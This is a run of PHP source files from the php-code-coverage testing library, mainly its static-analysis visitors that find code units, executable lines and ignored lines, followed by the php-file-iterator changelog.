$namespacedName = $node->namespacedName->toString(); $this->traits[$namespacedName] = [ 'name' => $name, 'namespacedName' => $namespacedName, 'namespace' => $this->namespace($namespacedName, $name), 'startLine' => $node->getStartLine(), 'endLine' => $node->getEndLine(), 'methods' => [], ]; } private function processMethod(ClassMethod $node): void { $parentNode = $node->getAttribute('parent'); if ($parentNode instanceof Interface_) { return; } assert($parentNode instanceof Class_ || $parentNode instanceof Trait_ || $parentNode instanceof Enum_); assert(isset($parentNode->name)); assert(isset($parentNode->namespacedName)); assert($parentNode->namespacedName instanceof Name); $parentName = $parentNode->name->toString(); $parentNamespacedName = $parentNode->namespacedName->toString(); if ($parentNode instanceof Class_) { $storage = &$this->classes; } else { $storage = &$this->traits; } if (!isset($storage[$parentNamespacedName])) { $storage[$parentNamespacedName] = [ 'name' => $parentName, 'namespacedName' => $parentNamespacedName, 'namespace' => $this->namespace($parentNamespacedName, $parentName), 'startLine' => $parentNode->getStartLine(), 'endLine' => $parentNode->getEndLine(), 'methods' => [], ]; } $storage[$parentNamespacedName]['methods'][$node->name->toString()] = [ 'methodName' => $node->name->toString(), 'signature' => $this->signature($node), 'visibility' => $this->visibility($node), 'startLine' => $node->getStartLine(), 'endLine' => $node->getEndLine(), 'ccn' => $this->cyclomaticComplexity($node), ]; } private function processFunction(Function_ $node): void { assert(isset($node->name)); assert(isset($node->namespacedName)); assert($node->namespacedName instanceof Name); $name = $node->name->toString(); $namespacedName = $node->namespacedName->toString(); $this->functions[$namespacedName] = [ 'name' => $name, 'namespacedName' => $namespacedName, 'namespace' => $this->namespace($namespacedName, $name), 'signature' => $this->signature($node), 'startLine' => $node->getStartLine(), 'endLine' => $node->getEndLine(), 'ccn' => $this->cyclomaticComplexity($node), ]; } private function namespace(string $namespacedName, string $name): string { return trim(rtrim($namespacedName, $name), '\\'); } private function unionTypeAsString(UnionType $node): string { $types = []; foreach ($node->types as $type) { if ($type instanceof IntersectionType) { $types[] = '(' . $this->intersectionTypeAsString($type) . ')'; continue; } $types[] = $this->typeAsString($type); } return implode('|', $types); } private function intersectionTypeAsString(IntersectionType $node): string { $types = []; foreach ($node->types as $type) { $types[] = $this->typeAsString($type); } return implode('&', $types); } private function typeAsString(Identifier|Name $node): string { if ($node instanceof Name) { return $node->toCodeString(); } return $node->toString(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use function array_diff_key; use function assert; use function count; use function current; use function end; use function explode; use function max; use function preg_match; use function preg_quote; use function range; use function reset; use function sprintf; use PhpParser\Node; use PhpParser\NodeVisitorAbstract; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage * * @psalm-import-type LinesType from \SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser */ final class ExecutableLinesFindingVisitor extends NodeVisitorAbstract { private int $nextBranch = 0; private readonly string $source; /** * @psalm-var LinesType */ private array $executableLinesGroupedByBranch = []; /** * @psalm-var array */ private array $unsets = []; /** * @psalm-var array */ private array $commentsToCheckForUnset = []; public function __construct(string $source) { $this->source = $source; } public function enterNode(Node $node): void { foreach ($node->getComments() as $comment) { $commentLine = $comment->getStartLine(); if (!isset($this->executableLinesGroupedByBranch[$commentLine])) { continue; } foreach (explode("\n", $comment->getText()) as $text) { $this->commentsToCheckForUnset[$commentLine] = $text; $commentLine++; } } if ($node instanceof Node\Scalar\String_ || $node instanceof Node\Scalar\EncapsedStringPart) { $startLine = $node->getStartLine() + 1; $endLine = $node->getEndLine() - 1; if ($startLine <= $endLine) { foreach (range($startLine, $endLine) as $line) { unset($this->executableLinesGroupedByBranch[$line]); } } return; } if ($node instanceof Node\Stmt\Interface_) { foreach (range($node->getStartLine(), $node->getEndLine()) as $line) { $this->unsets[$line] = true; } return; } if ($node instanceof Node\Stmt\Declare_ || $node instanceof Node\Stmt\DeclareDeclare || $node instanceof Node\Stmt\Else_ || $node instanceof Node\Stmt\EnumCase || $node instanceof Node\Stmt\Finally_ || $node instanceof Node\Stmt\GroupUse || $node instanceof Node\Stmt\Label || $node instanceof Node\Stmt\Namespace_ || $node instanceof Node\Stmt\Nop || $node instanceof Node\Stmt\Switch_ || $node instanceof Node\Stmt\TryCatch || $node instanceof Node\Stmt\Use_ || $node instanceof Node\Stmt\UseUse || $node instanceof Node\Expr\ConstFetch || $node instanceof Node\Expr\Variable || $node instanceof Node\Expr\Throw_ || $node instanceof Node\ComplexType || $node instanceof Node\Const_ || $node instanceof Node\Identifier || $node instanceof Node\Name || $node instanceof Node\Param || $node instanceof Node\Scalar) { return; } if ($node instanceof Node\Expr\Match_) { foreach ($node->arms as $arm) { $this->setLineBranch( $arm->body->getStartLine(), $arm->body->getEndLine(), ++$this->nextBranch, ); } return; } /* * nikic/php-parser ^4.18 represents throw statements * as Stmt\Throw_ objects */ if ($node instanceof Node\Stmt\Throw_) { $this->setLineBranch($node->expr->getEndLine(), $node->expr->getEndLine(), ++$this->nextBranch); return; } /* * nikic/php-parser ^5 represents throw statements * as Stmt\Expression objects that contain an * Expr\Throw_ object */ if ($node instanceof Node\Stmt\Expression && $node->expr instanceof Node\Expr\Throw_) { $this->setLineBranch($node->expr->expr->getEndLine(), $node->expr->expr->getEndLine(), ++$this->nextBranch); return; } if ($node instanceof Node\Stmt\Enum_ || $node instanceof Node\Stmt\Function_ || $node instanceof Node\Stmt\Class_ || $node instanceof Node\Stmt\ClassMethod || $node instanceof Node\Expr\Closure || $node instanceof Node\Stmt\Trait_) { if ($node instanceof Node\Stmt\Function_ || $node instanceof Node\Stmt\ClassMethod) { $unsets = []; foreach ($node->getParams() as $param) { foreach (range($param->getStartLine(), $param->getEndLine()) as $line) { $unsets[$line] = true; } } unset($unsets[$node->getEndLine()]); $this->unsets += $unsets; } $isConcreteClassLike = $node instanceof Node\Stmt\Enum_ || $node instanceof Node\Stmt\Class_ || $node instanceof Node\Stmt\Trait_; if (null !== $node->stmts) { foreach ($node->stmts as $stmt) { if ($stmt instanceof Node\Stmt\Nop) { continue; } foreach (range($stmt->getStartLine(), $stmt->getEndLine()) as $line) { unset($this->executableLinesGroupedByBranch[$line]); if ( $isConcreteClassLike && !$stmt instanceof Node\Stmt\ClassMethod ) { $this->unsets[$line] = true; } } } } if ($isConcreteClassLike) { return; } $hasEmptyBody = [] === $node->stmts || null === $node->stmts || ( 1 === count($node->stmts) && $node->stmts[0] instanceof Node\Stmt\Nop ); if ($hasEmptyBody) { if ($node->getEndLine() === $node->getStartLine() && isset($this->executableLinesGroupedByBranch[$node->getStartLine()])) { return; } $this->setLineBranch($node->getEndLine(), $node->getEndLine(), ++$this->nextBranch); return; } return; } if ($node instanceof Node\Expr\ArrowFunction) { $startLine = max( $node->getStartLine() + 1, $node->expr->getStartLine(), ); $endLine = $node->expr->getEndLine(); if ($endLine < $startLine) { return; } $this->setLineBranch($startLine, $endLine, ++$this->nextBranch); return; } if ($node instanceof Node\Expr\Ternary) { if (null !== $node->if && $node->getStartLine() !== $node->if->getEndLine()) { $this->setLineBranch($node->if->getStartLine(), $node->if->getEndLine(), ++$this->nextBranch); } if ($node->getStartLine() !== $node->else->getEndLine()) { $this->setLineBranch($node->else->getStartLine(), $node->else->getEndLine(), ++$this->nextBranch); } return; } if ($node instanceof Node\Expr\BinaryOp\Coalesce) { if ($node->getStartLine() !== $node->getEndLine()) { $this->setLineBranch($node->getEndLine(), $node->getEndLine(), ++$this->nextBranch); } return; } if ($node instanceof Node\Stmt\If_ || $node instanceof Node\Stmt\ElseIf_ || $node instanceof Node\Stmt\Case_) { if (null === $node->cond) { return; } $this->setLineBranch( $node->cond->getStartLine(), $node->cond->getStartLine(), ++$this->nextBranch, ); return; } if ($node instanceof Node\Stmt\For_) { $startLine = null; $endLine = null; if ([] !== $node->init) { $startLine = $node->init[0]->getStartLine(); end($node->init); $endLine = current($node->init)->getEndLine(); reset($node->init); } if ([] !== $node->cond) { if (null === $startLine) { $startLine = $node->cond[0]->getStartLine(); } end($node->cond); $endLine = current($node->cond)->getEndLine(); reset($node->cond); } if ([] !== $node->loop) { if (null === $startLine) { $startLine = $node->loop[0]->getStartLine(); } end($node->loop); $endLine = current($node->loop)->getEndLine(); reset($node->loop); } if (null === $startLine || null === $endLine) { return; } $this->setLineBranch( $startLine, $endLine, ++$this->nextBranch, ); return; } if ($node instanceof Node\Stmt\Foreach_) { $this->setLineBranch( $node->expr->getStartLine(), $node->valueVar->getEndLine(), ++$this->nextBranch, ); return; } if ($node instanceof Node\Stmt\While_ || $node instanceof Node\Stmt\Do_) { $this->setLineBranch( $node->cond->getStartLine(), $node->cond->getEndLine(), ++$this->nextBranch, ); return; } if ($node instanceof Node\Stmt\Catch_) { assert([] !== $node->types); $startLine = $node->types[0]->getStartLine(); end($node->types); $endLine = current($node->types)->getEndLine(); $this->setLineBranch( $startLine, $endLine, ++$this->nextBranch, ); return; } if ($node instanceof Node\Expr\CallLike) { if (isset($this->executableLinesGroupedByBranch[$node->getStartLine()])) { $branch = $this->executableLinesGroupedByBranch[$node->getStartLine()]; } else { $branch = ++$this->nextBranch; } $this->setLineBranch($node->getStartLine(), $node->getEndLine(), $branch); return; } if (isset($this->executableLinesGroupedByBranch[$node->getStartLine()])) { return; } $this->setLineBranch($node->getStartLine(), $node->getEndLine(), ++$this->nextBranch); } public function afterTraverse(array $nodes): void { $lines = explode("\n", $this->source); foreach ($lines as $lineNumber => $line) { $lineNumber++; if (1 === preg_match('/^\s*$/', $line) || ( isset($this->commentsToCheckForUnset[$lineNumber]) && 1 === preg_match(sprintf('/^\s*%s\s*$/', preg_quote($this->commentsToCheckForUnset[$lineNumber], '/')), $line) )) { unset($this->executableLinesGroupedByBranch[$lineNumber]); } } $this->executableLinesGroupedByBranch = array_diff_key( $this->executableLinesGroupedByBranch, $this->unsets, ); } /** * @psalm-return LinesType */ public function executableLinesGroupedByBranch(): array { return $this->executableLinesGroupedByBranch; } private function setLineBranch(int $start, int $end, int $branch): void { foreach (range($start, $end) as $line) { $this->executableLinesGroupedByBranch[$line] = $branch; } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage * * @psalm-import-type CodeUnitFunctionType from \SebastianBergmann\CodeCoverage\StaticAnalysis\CodeUnitFindingVisitor * @psalm-import-type CodeUnitMethodType from \SebastianBergmann\CodeCoverage\StaticAnalysis\CodeUnitFindingVisitor * @psalm-import-type CodeUnitClassType from \SebastianBergmann\CodeCoverage\StaticAnalysis\CodeUnitFindingVisitor * @psalm-import-type CodeUnitTraitType from \SebastianBergmann\CodeCoverage\StaticAnalysis\CodeUnitFindingVisitor * @psalm-import-type LinesOfCodeType from \SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser * @psalm-import-type LinesType from \SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser * * @psalm-type LinesOfCodeType = array{ * linesOfCode: int, * commentLinesOfCode: int, * nonCommentLinesOfCode: int * } * @psalm-type LinesType = array */ interface FileAnalyser { /** * @psalm-return array */ public function classesIn(string $filename): array; /** * @psalm-return array */ public function traitsIn(string $filename): array; /** * @psalm-return array */ public function functionsIn(string $filename): array; /** * @psalm-return LinesOfCodeType */ public function linesOfCodeFor(string $filename): array; /** * @psalm-return LinesType */ public function executableLinesIn(string $filename): array; /** * @psalm-return LinesType */ public function ignoredLinesFor(string $filename): array; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use function assert; use function str_contains; use PhpParser\Node; use PhpParser\Node\Attribute; use PhpParser\Node\Stmt\Class_; use PhpParser\Node\Stmt\ClassMethod; use PhpParser\Node\Stmt\Enum_; use PhpParser\Node\Stmt\Function_; use PhpParser\Node\Stmt\Interface_; use PhpParser\Node\Stmt\Trait_; use PhpParser\NodeVisitorAbstract; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class IgnoredLinesFindingVisitor extends NodeVisitorAbstract { /** * @psalm-var array */ private array $ignoredLines = []; private readonly bool $useAnnotationsForIgnoringCode; private readonly bool $ignoreDeprecated; public function __construct(bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecated) { $this->useAnnotationsForIgnoringCode = $useAnnotationsForIgnoringCode; $this->ignoreDeprecated = $ignoreDeprecated; } public function enterNode(Node $node): void { if (!$node instanceof Class_ && !$node instanceof Trait_ && !$node instanceof Interface_ && !$node instanceof Enum_ && !$node instanceof ClassMethod && !$node instanceof Function_ && !$node instanceof Attribute) { return; } if ($node instanceof Class_ && $node->isAnonymous()) { return; } if ($node instanceof Class_ || $node instanceof Trait_ || $node instanceof Interface_ || $node instanceof Attribute) { $this->ignoredLines[] = $node->getStartLine(); assert($node->name !== null); // Workaround for https://github.com/nikic/PHP-Parser/issues/886 $this->ignoredLines[] = $node->name->getStartLine(); } if (!$this->useAnnotationsForIgnoringCode) { return; } if ($node instanceof Interface_) { return; } if ($node instanceof Attribute && $node->name->toString() === 'PHPUnit\Framework\Attributes\CodeCoverageIgnore') { $attributeGroup = $node->getAttribute('parent'); $attributedNode = $attributeGroup->getAttribute('parent'); for ($line = $attributedNode->getStartLine(); $line <= $attributedNode->getEndLine(); $line++) { $this->ignoredLines[] = $line; } return; } $this->processDocComment($node); } /** * @psalm-return array */ public function ignoredLines(): array { return $this->ignoredLines; } private function processDocComment(Node $node): void { $docComment = $node->getDocComment(); if ($docComment === null) { return; } if (str_contains($docComment->getText(), '@codeCoverageIgnore')) { for ($line = $node->getStartLine(); $line <= $node->getEndLine(); $line++) { $this->ignoredLines[] = $line; } } if ($this->ignoreDeprecated && str_contains($docComment->getText(), '@deprecated')) { for ($line = $node->getStartLine(); $line <= $node->getEndLine(); $line++) { $this->ignoredLines[] = $line; } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use function array_merge; use function array_unique; use function assert; use function file_get_contents; use function is_array; use function max; use function range; use function sort; use function sprintf; use function substr_count; use function token_get_all; use function trim; use PhpParser\Error; use PhpParser\NodeTraverser; use PhpParser\NodeVisitor\NameResolver; use PhpParser\NodeVisitor\ParentConnectingVisitor; use PhpParser\ParserFactory; use SebastianBergmann\CodeCoverage\ParserException; use SebastianBergmann\LinesOfCode\LineCountingVisitor; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage * * @psalm-import-type CodeUnitFunctionType from \SebastianBergmann\CodeCoverage\StaticAnalysis\CodeUnitFindingVisitor * @psalm-import-type CodeUnitMethodType from \SebastianBergmann\CodeCoverage\StaticAnalysis\CodeUnitFindingVisitor * @psalm-import-type CodeUnitClassType from \SebastianBergmann\CodeCoverage\StaticAnalysis\CodeUnitFindingVisitor * @psalm-import-type CodeUnitTraitType from \SebastianBergmann\CodeCoverage\StaticAnalysis\CodeUnitFindingVisitor * @psalm-import-type LinesOfCodeType from \SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser * @psalm-import-type LinesType from \SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser */ final class ParsingFileAnalyser implements FileAnalyser { /** * @psalm-var array> */ private array $classes = []; /** * @psalm-var array> */ private array $traits = []; /** * @psalm-var array> */ private array $functions = []; /** * @var array */ private array $linesOfCode = []; /** * @var array */ private array $ignoredLines = []; /** * @var array */ private array $executableLines = []; private readonly bool $useAnnotationsForIgnoringCode; private readonly bool $ignoreDeprecatedCode; public function __construct(bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecatedCode) { $this->useAnnotationsForIgnoringCode = $useAnnotationsForIgnoringCode; $this->ignoreDeprecatedCode = $ignoreDeprecatedCode; } public function classesIn(string $filename): array { $this->analyse($filename); return $this->classes[$filename]; } public function traitsIn(string $filename): array { $this->analyse($filename); return $this->traits[$filename]; } public function functionsIn(string $filename): array { $this->analyse($filename); return $this->functions[$filename]; } public function linesOfCodeFor(string $filename): array { $this->analyse($filename); return $this->linesOfCode[$filename]; } public function executableLinesIn(string $filename): array { $this->analyse($filename); return $this->executableLines[$filename]; } public function ignoredLinesFor(string $filename): array { $this->analyse($filename); return $this->ignoredLines[$filename]; } /** * @throws ParserException */ private function analyse(string $filename): void { if (isset($this->classes[$filename])) { return; } $source = file_get_contents($filename); $linesOfCode = max(substr_count($source, "\n") + 1, substr_count($source, "\r") + 1); if ($linesOfCode === 0 && !empty($source)) { $linesOfCode = 1; } assert($linesOfCode > 0); $parser = (new ParserFactory)->createForHostVersion(); try { $nodes = $parser->parse($source); assert($nodes !== null); $traverser = new NodeTraverser; $codeUnitFindingVisitor = new CodeUnitFindingVisitor; $lineCountingVisitor = new LineCountingVisitor($linesOfCode); $ignoredLinesFindingVisitor = new IgnoredLinesFindingVisitor($this->useAnnotationsForIgnoringCode, $this->ignoreDeprecatedCode); $executableLinesFindingVisitor = new ExecutableLinesFindingVisitor($source); $traverser->addVisitor(new NameResolver); $traverser->addVisitor(new ParentConnectingVisitor); $traverser->addVisitor($codeUnitFindingVisitor); $traverser->addVisitor($lineCountingVisitor); $traverser->addVisitor($ignoredLinesFindingVisitor); $traverser->addVisitor($executableLinesFindingVisitor); /* @noinspection UnusedFunctionResultInspection */ $traverser->traverse($nodes); // @codeCoverageIgnoreStart } catch (Error $error) { throw new ParserException( sprintf( 'Cannot parse %s: %s', $filename, $error->getMessage(), ), $error->getCode(), $error, ); } // @codeCoverageIgnoreEnd $this->classes[$filename] = $codeUnitFindingVisitor->classes(); $this->traits[$filename] = $codeUnitFindingVisitor->traits(); $this->functions[$filename] = $codeUnitFindingVisitor->functions(); $this->executableLines[$filename] = $executableLinesFindingVisitor->executableLinesGroupedByBranch(); $this->ignoredLines[$filename] = []; $this->findLinesIgnoredByLineBasedAnnotations($filename, $source, $this->useAnnotationsForIgnoringCode); $this->ignoredLines[$filename] = array_unique( array_merge( $this->ignoredLines[$filename], $ignoredLinesFindingVisitor->ignoredLines(), ), ); sort($this->ignoredLines[$filename]); $result = $lineCountingVisitor->result(); $this->linesOfCode[$filename] = [ 'linesOfCode' => $result->linesOfCode(), 'commentLinesOfCode' => $result->commentLinesOfCode(), 'nonCommentLinesOfCode' => $result->nonCommentLinesOfCode(), ]; } private function findLinesIgnoredByLineBasedAnnotations(string $filename, string $source, bool $useAnnotationsForIgnoringCode): void { if (!$useAnnotationsForIgnoringCode) { return; } $start = false; foreach (token_get_all($source) as $token) { if (!is_array($token) || !(T_COMMENT === $token[0] || T_DOC_COMMENT === $token[0])) { continue; } $comment = trim($token[1]); if ($comment === '// @codeCoverageIgnore' || $comment === '//@codeCoverageIgnore') { $this->ignoredLines[$filename][] = $token[2]; continue; } if ($comment === '// @codeCoverageIgnoreStart' || $comment === '//@codeCoverageIgnoreStart') { $start = $token[2]; continue; } if ($comment === '// @codeCoverageIgnoreEnd' || $comment === '//@codeCoverageIgnoreEnd') { if (false === $start) { $start = $token[2]; } $this->ignoredLines[$filename] = array_merge( $this->ignoredLines[$filename], range($start, $token[2]), ); } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestSize; /** * @psalm-immutable */ abstract class Known extends TestSize { /** * @psalm-assert-if-true Known $this */ public function isKnown(): bool { return true; } abstract public function isGreaterThan(self $other): bool; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestSize; /** * @psalm-immutable */ final class Large extends Known { /** * @psalm-assert-if-true Large $this */ public function isLarge(): bool { return true; } public function isGreaterThan(TestSize $other): bool { return !$other->isLarge(); } public function asString(): string { return 'large'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestSize; /** * @psalm-immutable */ final class Medium extends Known { /** * @psalm-assert-if-true Medium $this */ public function isMedium(): bool { return true; } public function isGreaterThan(TestSize $other): bool { return $other->isSmall(); } public function asString(): string { return 'medium'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestSize; /** * @psalm-immutable */ final class Small extends Known { /** * @psalm-assert-if-true Small $this */ public function isSmall(): bool { return true; } public function isGreaterThan(TestSize $other): bool { return false; } public function asString(): string { return 'small'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestSize; /** * @psalm-immutable */ abstract class TestSize { public static function unknown(): self { return new Unknown; } public static function small(): self { return new Small; } public static function medium(): self { return new Medium; } public static function large(): self { return new Large; } /** * @psalm-assert-if-true Known $this */ public function isKnown(): bool { return false; } /** * @psalm-assert-if-true Unknown $this */ public function isUnknown(): bool { return false; } /** * @psalm-assert-if-true Small $this */ public function isSmall(): bool { return false; } /** * @psalm-assert-if-true Medium $this */ public function isMedium(): bool { return false; } /** * @psalm-assert-if-true Large $this */ public function isLarge(): bool { return false; } abstract public function asString(): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestSize; /** * @psalm-immutable */ final class Unknown extends TestSize { /** * @psalm-assert-if-true Unknown $this */ public function isUnknown(): bool { return true; } public function asString(): string { return 'unknown'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestStatus; /** * @psalm-immutable */ final class Failure extends Known { /** * @psalm-assert-if-true Failure $this */ public function isFailure(): bool { return true; } public function asString(): string { return 'failure'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestStatus; /** * @psalm-immutable */ abstract class Known extends TestStatus { /** * @psalm-assert-if-true Known $this */ public function isKnown(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestStatus; /** * @psalm-immutable */ final class Success extends Known { /** * @psalm-assert-if-true Success $this */ public function isSuccess(): bool { return true; } public function asString(): string { return 'success'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestStatus; /** * @psalm-immutable */ abstract class TestStatus { public static function unknown(): self { return new Unknown; } public static function success(): self { return new Success; } public static function failure(): self { return new Failure; } /** * @psalm-assert-if-true Known $this */ public function isKnown(): bool { return false; } /** * @psalm-assert-if-true Unknown $this */ public function isUnknown(): bool { return false; } /** * @psalm-assert-if-true Success $this */ public function isSuccess(): bool { return false; } /** * @psalm-assert-if-true Failure $this */ public function isFailure(): bool { return false; } abstract public function asString(): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Test\TestStatus; /** * @psalm-immutable */ final class Unknown extends TestStatus { /** * @psalm-assert-if-true Unknown $this */ public function isUnknown(): bool { return true; } public function asString(): string { return 'unknown'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Util; use function is_dir; use function mkdir; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Filesystem { /** * @throws DirectoryCouldNotBeCreatedException */ public static function createDirectory(string $directory): void { $success = !(!is_dir($directory) && !@mkdir($directory, 0o777, true) && !is_dir($directory)); if (!$success) { throw new DirectoryCouldNotBeCreatedException( sprintf( 'Directory "%s" could not be created', $directory, ), ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Util; use function sprintf; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Percentage { private readonly float $fraction; private readonly float $total; public static function fromFractionAndTotal(float $fraction, float $total): self { return new self($fraction, $total); } private function __construct(float $fraction, float $total) { $this->fraction = $fraction; $this->total = $total; } public function asFloat(): float { if ($this->total > 0) { return ($this->fraction / $this->total) * 100; } return 100.0; } public function asString(): string { if ($this->total > 0) { return sprintf('%01.2F%%', $this->asFloat()); } return ''; } public function asFixedWidthString(): string { if ($this->total > 0) { return sprintf('%6.2F%%', $this->asFloat()); } return ''; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use function dirname; use SebastianBergmann\Version as VersionId; final class Version { private static string $version = ''; public static function id(): string { if (self::$version === '') { self::$version = (new VersionId('10.1.16', dirname(__DIR__)))->asString(); } return self::$version; } } # Change Log All notable changes to this project will be documented in this file. This project adheres to [Semantic Versioning](http://semver.org/). ## [4.1.0] - 2023-08-31 ### Added * [#81](https://github.com/sebastianbergmann/php-file-iterator/issues/81): Accept `array|string $paths` in `Facade::getFilesAsArray()` ## [4.0.2] - 2023-05-07 ### Fixed * [#80](https://github.com/sebastianbergmann/php-file-iterator/pull/80): Ignore unresolvable symbolic link ## [4.0.1] - 2023-02-10 ### Fixed * [#67](https://github.com/sebastianbergmann/php-file-iterator/issues/61): Excluded directories are traversed unnecessarily ## [4.0.0] - 2023-02-03 ### Removed * The optional `$commonPath` parameter of `SebastianBergmann\FileIterator\Facade` as well as the functionality it controlled has been removed * The `SebastianBergmann\FileIterator\Factory` and `SebastianBergmann\FileIterator\Iterator` classes are now marked `@internal` * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [3.0.6] - 2021-12-02 ### Changed * [#73](https://github.com/sebastianbergmann/php-file-iterator/pull/73): Micro performance improvements on parsing paths ## [3.0.5] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [3.0.4] - 2020-07-11 ### Fixed * [#67](https://github.com/sebastianbergmann/php-file-iterator/issues/67): `TypeError` in `SebastianBergmann\FileIterator\Iterator::accept()` ## [3.0.3] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [3.0.2] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [3.0.1] - 2020-04-18 ### Fixed * [#64](https://github.com/sebastianbergmann/php-file-iterator/issues/64): Release tarball contains Composer PHAR ## [3.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 ## [2.0.5] - 2021-12-02 ### Changed * [#73](https://github.com/sebastianbergmann/php-file-iterator/pull/73): Micro performance improvements on parsing paths ### Fixed * [#74](https://github.com/sebastianbergmann/php-file-iterator/pull/74): Document return type of `SebastianBergmann\FileIterator\Iterator::accept()` so that Symfony's `DebugClassLoader` does not trigger a deprecation warning ## [2.0.4] - 2021-07-19 ### Changed * Added `ReturnTypeWillChange` attribute to `SebastianBergmann\FileIterator\Iterator::accept()` because the return type of `\FilterIterator::accept()` will change in PHP 8.1 ## [2.0.3] - 2020-11-30 ### Changed * Changed PHP version constraint in `composer.json` from `^7.1` to `>=7.1` ## [2.0.2] - 2018-09-13 ### Fixed * [#48](https://github.com/sebastianbergmann/php-file-iterator/issues/48): Excluding an array that contains false ends up excluding the current working directory ## [2.0.1] - 2018-06-11 ### Fixed * [#46](https://github.com/sebastianbergmann/php-file-iterator/issues/46): Regression with hidden parent directory ## [2.0.0] - 2018-05-28 ### Fixed * [#30](https://github.com/sebastianbergmann/php-file-iterator/issues/30): Exclude is not considered if it is a parent of the base path ### Changed * This component now uses namespaces ### Removed * This component is no longer supported on PHP 5.3, PHP 5.4, PHP 5.5, PHP 5.6, and PHP 7.0 ## [1.4.5] - 2017-11-27 ### Fixed * [#37](https://github.com/sebastianbergmann/php-file-iterator/issues/37): Regression caused by fix for [#30](https://github.com/sebastianbergmann/php-file-iterator/issues/30) ## [1.4.4] - 2017-11-27 ### Fixed * [#30](https://github.com/sebastianbergmann/php-file-iterator/issues/30): Exclude is not considered if it is a parent of the base path ## [1.4.3] - 2017-11-25 ### Fixed * [#34](https://github.com/sebastianbergmann/php-file-iterator/issues/34): Factory should use canonical directory names ## [1.4.2] - 2016-11-26 No changes ## [1.4.1] - 2015-07-26 No changes ## 1.4.0 - 2015-04-02 ### Added * [#23](https://github.com/sebastianbergmann/php-file-iterator/pull/23): Added support for wildcards (glob) in exclude [4.1.0]: https://github.com/sebastianbergmann/php-file-iterator/compare/4.0.2...4.1.0 [4.0.2]: https://github.com/sebastianbergmann/php-file-iterator/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/php-file-iterator/compare/4.0.0...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.6...4.0.0 [3.0.6]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.5...3.0.6 [3.0.5]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.4...3.0.5 [3.0.4]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.3...3.0.4 [3.0.3]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.2...3.0.3 [3.0.2]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.5...3.0.0 [2.0.5]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.4...2.0.5 [2.0.4]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.3...2.0.4 [2.0.3]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.2...2.0.3 [2.0.2]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.5...2.0.0 [1.4.5]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.4...1.4.5 